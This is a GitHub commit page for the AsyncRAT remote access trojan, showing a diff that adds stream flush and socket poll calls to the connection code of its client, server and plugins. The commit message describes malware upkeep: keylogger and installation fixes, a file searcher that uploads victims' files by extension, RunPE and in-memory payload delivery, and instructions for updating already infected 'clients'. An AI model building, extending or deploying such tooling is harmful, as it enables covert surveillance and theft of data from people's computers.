Skip to content

Commit abca238

Browse files
committed
Update
fixed send to disk fixed keylogger [clipboard] #172 fixed installation added file searcher [to search and upload any file by it extension] added group to listview updated plugin save method updated runpe send to memory minor improvements ## NOTE You need to create a new stub from this version, and then use your old version to update all your clients, otherwise, you won't be able to use the new plugins
1 parent dfa505e commit abca238

File tree

15 files changed

+24
-0
lines changed

15 files changed

+24
-0
lines changed

AsyncRAT-C#/Client/Connection/ClientSocket.cs

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -233,6 +233,7 @@ public static void Send(byte[] msg)
233233
{
234234
TcpClient.Poll(-1, SelectMode.SelectWrite);
235235
SslClient.Write(chunk, 0, read);
236+
SslClient.Flush();
236237
}
237238
}
238239
}

AsyncRAT-C#/Plugin/Chat/Chat/Connection.cs

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -193,6 +193,7 @@ public static void Send(byte[] msg)
193193
{
194194
TcpClient.Poll(-1, SelectMode.SelectWrite);
195195
SslClient.Write(chunk, 0, read);
196+
SslClient.Flush();
196197
}
197198
}
198199
}

AsyncRAT-C#/Plugin/Extra/Extra/Connection.cs

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -190,6 +190,7 @@ public static void Send(byte[] msg)
190190
{
191191
TcpClient.Poll(-1, SelectMode.SelectWrite);
192192
SslClient.Write(chunk, 0, read);
193+
SslClient.Flush();
193194
}
194195
}
195196
}

AsyncRAT-C#/Plugin/FileManager/FileManager/Connection.cs

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -196,6 +196,7 @@ public static void Send(byte[] msg)
196196
{
197197
TcpClient.Poll(-1, SelectMode.SelectWrite);
198198
SslClient.Write(chunk, 0, read);
199+
SslClient.Flush();
199200
}
200201
}
201202
}

AsyncRAT-C#/Plugin/FileSearcher/FileSearcher/Connection.cs

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -197,11 +197,13 @@ public static void Send(byte[] msg)
197197
{
198198
TcpClient.Poll(-1, SelectMode.SelectWrite);
199199
SslClient.Write(chunk, 0, read);
200+
SslClient.Flush();
200201
}
201202
}
202203
}
203204
else
204205
{
206+
TcpClient.Poll(-1, SelectMode.SelectWrite);
205207
SslClient.Write(msg, 0, msg.Length);
206208
SslClient.Flush();
207209
}

AsyncRAT-C#/Plugin/LimeLogger/LimeLogger/Connection.cs

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -190,6 +190,7 @@ public static void Send(byte[] msg)
190190
{
191191
TcpClient.Poll(-1, SelectMode.SelectWrite);
192192
SslClient.Write(chunk, 0, read);
193+
SslClient.Flush();
193194
}
194195
}
195196
}

AsyncRAT-C#/Plugin/Miscellaneous/Miscellaneous/Connection.cs

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -190,6 +190,7 @@ public static void Send(byte[] msg)
190190
{
191191
TcpClient.Poll(-1, SelectMode.SelectWrite);
192192
SslClient.Write(chunk, 0, read);
193+
SslClient.Flush();
193194
}
194195
}
195196
}

AsyncRAT-C#/Plugin/Options/Options/Connection.cs

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -190,11 +190,13 @@ public static void Send(byte[] msg)
190190
{
191191
TcpClient.Poll(-1, SelectMode.SelectWrite);
192192
SslClient.Write(chunk, 0, read);
193+
SslClient.Flush();
193194
}
194195
}
195196
}
196197
else
197198
{
199+
TcpClient.Poll(-1, SelectMode.SelectWrite);
198200
SslClient.Write(msg, 0, msg.Length);
199201
SslClient.Flush();
200202
}

AsyncRAT-C#/Plugin/ProcessManager/ProcessManager/Connection.cs

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -190,11 +190,13 @@ public static void Send(byte[] msg)
190190
{
191191
TcpClient.Poll(-1, SelectMode.SelectWrite);
192192
SslClient.Write(chunk, 0, read);
193+
SslClient.Flush();
193194
}
194195
}
195196
}
196197
else
197198
{
199+
TcpClient.Poll(-1, SelectMode.SelectWrite);
198200
SslClient.Write(msg, 0, msg.Length);
199201
SslClient.Flush();
200202
}

AsyncRAT-C#/Plugin/Recovery/Recovery/Connection.cs

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -109,11 +109,14 @@ public static void Send(byte[] msg)
109109
{
110110
TcpClient.Poll(-1, SelectMode.SelectWrite);
111111
SslClient.Write(chunk, 0, read);
112+
SslClient.Flush();
113+
112114
}
113115
}
114116
}
115117
else
116118
{
119+
TcpClient.Poll(-1, SelectMode.SelectWrite);
117120
SslClient.Write(msg, 0, msg.Length);
118121
SslClient.Flush();
119122
}

AsyncRAT-C#/Plugin/RemoteCamera/RemoteCamera/Connection.cs

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -189,11 +189,13 @@ public static void Send(byte[] msg)
189189
{
190190
TcpClient.Poll(-1, SelectMode.SelectWrite);
191191
SslClient.Write(chunk, 0, read);
192+
SslClient.Flush();
192193
}
193194
}
194195
}
195196
else
196197
{
198+
TcpClient.Poll(-1, SelectMode.SelectWrite);
197199
SslClient.Write(msg, 0, msg.Length);
198200
SslClient.Flush();
199201
}

AsyncRAT-C#/Plugin/RemoteDesktop/RemoteDesktop/Connection.cs

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -190,11 +190,13 @@ public static void Send(byte[] msg)
190190
{
191191
TcpClient.Poll(-1, SelectMode.SelectWrite);
192192
SslClient.Write(chunk, 0, read);
193+
SslClient.Flush();
193194
}
194195
}
195196
}
196197
else
197198
{
199+
TcpClient.Poll(-1, SelectMode.SelectWrite);
198200
SslClient.Write(msg, 0, msg.Length);
199201
SslClient.Flush();
200202
}

AsyncRAT-C#/Plugin/SendFile/SendFile/Connection.cs

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -189,11 +189,13 @@ public static void Send(byte[] msg)
189189
{
190190
TcpClient.Poll(-1, SelectMode.SelectWrite);
191191
SslClient.Write(chunk, 0, read);
192+
SslClient.Flush();
192193
}
193194
}
194195
}
195196
else
196197
{
198+
TcpClient.Poll(-1, SelectMode.SelectWrite);
197199
SslClient.Write(msg, 0, msg.Length);
198200
SslClient.Flush();
199201
}

AsyncRAT-C#/Plugin/SendMemory/SendMemory/Connection.cs

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -189,11 +189,13 @@ public static void Send(byte[] msg)
189189
{
190190
TcpClient.Poll(-1, SelectMode.SelectWrite);
191191
SslClient.Write(chunk, 0, read);
192+
SslClient.Flush();
192193
}
193194
}
194195
}
195196
else
196197
{
198+
TcpClient.Poll(-1, SelectMode.SelectWrite);
197199
SslClient.Write(msg, 0, msg.Length);
198200
SslClient.Flush();
199201
}

AsyncRAT-C#/Server/Connection/Clients.cs

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -198,6 +198,7 @@ public void Send(object msg)
198198
{
199199
TcpClient.Poll(-1, SelectMode.SelectWrite);
200200
SslClient.Write(chunk, 0, read);
201+
SslClient.Flush();
201202
lock (Settings.LockReceivedSendValue)
202203
Settings.SentValue += read;
203204
}

0 commit comments

Comments
 (0)